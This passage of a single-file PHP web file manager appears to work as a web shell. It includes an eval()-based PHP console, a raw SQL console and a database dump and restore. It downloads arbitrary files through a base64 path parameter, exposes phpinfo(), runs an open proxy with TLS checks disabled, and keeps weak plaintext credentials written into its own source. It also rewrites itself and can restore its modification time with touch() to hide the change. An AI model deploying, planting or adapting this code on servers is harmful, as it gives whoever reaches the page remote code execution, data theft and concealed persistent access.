	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>Bar-KnOW</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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